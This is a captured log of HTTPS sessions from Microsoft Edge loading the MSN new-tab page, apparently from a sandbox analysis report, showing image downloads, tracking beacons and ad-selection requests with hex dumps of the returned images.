2024-11-22 16:09:04 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2fc8fdbf2a6e45878abbfdabc5723231&HASH=2fc8&LV=202411&V=4&LU=1732291744651; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 16:09:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e5d4f0a7a6634c848ce3d714ea8f2470; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 16:39:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3450 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	49810	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:04 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=251266 Expires: Mon, 25 Nov 2024 13:56:50 GMT Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close
2024-11-22 16:09:04 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.10	49811	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:04 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=137068 Expires: Sun, 24 Nov 2024 06:13:32 GMT Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close
2024-11-22 16:09:04 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	49808	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:04 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=335992 Expires: Tue, 26 Nov 2024 13:28:56 GMT Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close
2024-11-22 16:09:04 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	49809	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:04 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=234464 Expires: Mon, 25 Nov 2024 09:16:48 GMT Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close
2024-11-22 16:09:04 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	49812	18.238.49.74	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	1012	OUT	GET /b2?rn=1732291741203&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=379C33D393BD6E761EBE26EC92DF6F66&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=111e9d3450db19a83dec6881732291742; XID=111e9d3450db19a83dec6881732291742
2024-11-22 16:09:04 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Fri, 22 Nov 2024 16:09:04 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 1f85764c0bc1f70d16858df07753dfa8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: rev_sHWdU8kZu2VriVuXgPkjfh-MkRLBtAXtRBvmskp69bQ9kHVZCw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	49814	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:05 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:05 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b5bd8ae7-b01e-0031-7959-3c33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160905Z-174c587ffdfx984chC1TEB676g00000001m000000000knzc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:05 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.10	49815	20.110.205.119	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:05 UTC	1261	OUT	GET /c.gif?rnd=1732291741203&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9aecdf6384254054b34c2d28c33bb36c&activityId=9aecdf6384254054b34c2d28c33bb36c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FE5BBD40A0CF427BA444C5123269F69F&MUID=379C33D393BD6E761EBE26EC92DF6F66 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; SM=T
2024-11-22 16:09:05 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=379C33D393BD6E761EBE26EC92DF6F66; domain=.msn.com; expires=Wed, 17-Dec-2025 16:09:05 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=379C33D393BD6E761EBE26EC92DF6F66; domain=c.msn.com; expires=Wed, 17-Dec-2025 16:09:05 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Fri, 29-Nov-2024 16:09:05 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Fri, 22-Nov-2024 16:19:05 GMT; path=/; SameSite=None; Secure; Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close Content-Length: 42
2024-11-22 16:09:05 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.10	49813	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:05 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:05 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:05 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 18408825-201e-001d-5ef8-3cb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160905Z-174c587ffdftv9hphC1TEBm29w00000001k000000000fmpy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 16:09:05 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.10	49820	20.1.248.118	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:06 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=379C33D393BD6E761EBE26EC92DF6F66&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8810299700620392370&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=2903a3403abd461dd899b6856809c9fb HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 16:09:06 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2723 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132638-T700343879-C128000000002114829+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114829+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 22 Nov 2024 16:09:05 GMT Connection: close
2024-11-22 16:09:06 UTC	2723	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 42 61 74 68 2c 20 45 6e 67 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 75 6c 74 65 6e 65 79 2b 42 72 69 64 67 65 25 32 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Bath, England\",\"cta\":\"https:\/\/www.bing.com\/search?q=Pulteney+Bridge%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.10	49821	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:07 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
